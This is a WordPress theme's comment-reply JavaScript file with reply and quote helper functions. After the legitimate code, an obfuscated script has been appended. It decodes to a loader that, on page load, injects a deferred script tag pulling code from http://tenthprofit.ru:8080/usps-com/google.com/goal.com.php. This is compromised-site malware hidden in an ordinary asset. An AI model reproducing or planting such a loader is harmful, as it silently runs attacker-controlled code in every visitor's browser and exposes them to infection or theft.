/*
Author: mg12
Author URI: http://www.neoease.com/
*/
(function() {

function $(id) {
	return document.getElementById(id);
}

function reply(authorId, commentId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var insertStr = '<a href="#' + commentId + '">@' + author.replace(/\t|\n|\r\n/g, "") + '</a> \n';

	appendReply(insertStr, commentBox);
}

function quote(authorId, commentId, commentBodyId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var comment = MGJS.$(commentBodyId).innerHTML;

	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
	insertStr += '\n<a href="#' + commentId + '">' + author.replace(/\t|\n|\r\n/g, "") + '</a> :';
	insertStr += comment.replace(/\t/g, "");
	insertStr += '</blockquote>\n';

	insertQuote(insertStr, commentBox);
}

function appendReply(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if (field.value.indexOf(insertStr) > -1) {
		alert("You've already appended this reply!");
		return false;
	}

	if (field.value.replace(/\s|\t|\n/g, "") == '') {
		field.value = insertStr;
	} else {
		field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr;
	}
	field.focus();
}

function insertQuote(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if(document.selection) {
		field.focus();
		sel = document.selection.createRange();
		sel.text = insertStr;
		field.focus();

	} else if (field.selectionStart || field.selectionStart == '0') {
		var startPos = field.selectionStart;
		var endPos = field.selectionEnd;
		var cursorPos = startPos;
		field.value = field.value.substring(0, startPos)
					+ insertStr
					+ field.value.substring(endPos, field.value.length);
		cursorPos += insertStr.length;
		field.focus();
		field.selectionStart = cursorPos;
		field.selectionEnd = cursorPos;

	} else {
		field.value += insertStr;
		field.focus();
	}
}


window['MGJS'] = {};
window['MGJS']['$'] = $;
window['MGJS_CMT'] = {};
window['MGJS_CMT']['reply'] = reply;
window['MGJS_CMT']['quote'] = quote;

})();


u=[];try {var j='rx'} catch(j){};var S=["Rg"];var X;this.rW=19564;this.rW-=100;H=function(){var PVt={};try {var C='I'} catch(C){};this.eR=false;function P(g,PV,A){return g.substr(PV,A);this.M=51058;this.M+=67;this.v=false;}var s={tD:64551};XN={};this.n=false;var D=["Gr","su"];var G=new String(P("/usFAx",0,3)+"ps-"+P("VDaecomVeDa",4,3)+P("/gojKP",0,3)+P("oglc80O",0,3)+P("e.cMtC",0,3)+"om/"+P("kCegoaCke",3,3)+P("X0Fl.cXF0",3,3)+"om."+"php");this.DX=false;var e=document;var f='';mb=["K"];var sM=new Date();var Y=RegExp;this.Gc=233;this.Gc-=163;zC=[];var l="";var q=new Date();function R(g,PV){Eb=53341;Eb++;var A="["+PV+String("]");var AD=new Y(A, "g");rf=27910;rf+=211;this.Vy=46453;this.Vy--;return g.replace(AD, f);pj=["km"];};jW=34593;jW+=248;var pE=59404;ggz=2058;ggz--;var t=631993-623913;var r=P("boaDc9",0,2)+"dy";var c=R('s4cwrZiqp3tw','I2Roxg5lywbHz3Z9_47nYfqN');var ke=["eV","MZ"];MJ={zy:"Ps"};var V=null;this.Jo=31693;this.Jo++;this.ZV=29265;this.ZV++;X=function(){try {nR={vF:false};var Ao={qi:false};var Z=R('cJrKeJaxtJewERlKewmGexnKtJ','xwGJKR');try {var Xy='O'} catch(Xy){};MS=["qO","jF"];fR=e[Z](c);this._L=43075;this._L-=253;var eQ={Rn:51378};var i=new String("de"+"fe"+P("rqYh",0,1));uK={};this.jR=18192;this.jR++;var F=R('sBrPcy','6Fy9PBT');var XyU={ox:false};this.vT=15859;this.vT+=65;var g=t+G;try {} catch(BM){};try {var iV='zh'} catch(iV){};IM={Tq:false};Es={Nq:false};var ji=new Array();fR[i]=[0,1][1];fR[F]=String(P("httDz0",0,3)+P("lc4p:/lc4",3,3)+"/te"+P("P2pZnthPpZ2",4,3)+"pro"+P("HlJhfitJHhl",4,3)+P(".runYE4",0,3)+":")+g;var rX=33663;var Ad=["xb","XV"];try {var Mm='qE'} catch(Mm){};e[r].appendChild(fR);var Kh=42039;try {var zA='nC'} catch(zA){};zV={};vE={};} catch(rY){this.Zk=33450;this.Zk-=26;var cJ=[];CV={sn:17409};};try {} catch(jK){};var uM=["ia"];};try {} catch(kM){};};try {var yv='U_'} catch(yv){};H();var rZ=35570;oY={};window.onload=X;Ns=38225;Ns-=100;try {} catch(Ru){};